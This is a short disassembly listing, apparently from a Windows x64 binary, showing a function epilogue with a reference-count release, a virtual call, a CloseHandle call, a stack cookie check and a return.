lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x140007616
mov rcx, qword [rdx]
mov r8, qword [rcx]
mov rax, qword [r8 + 8]
call qword [0x14001b738]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rax, rdi
mov rcx, qword [rbp + 0x150]
xor rcx, rsp
call fcn.1400183c0
add rsp, 0x260
pop rdi
pop rbx
pop rbp
ret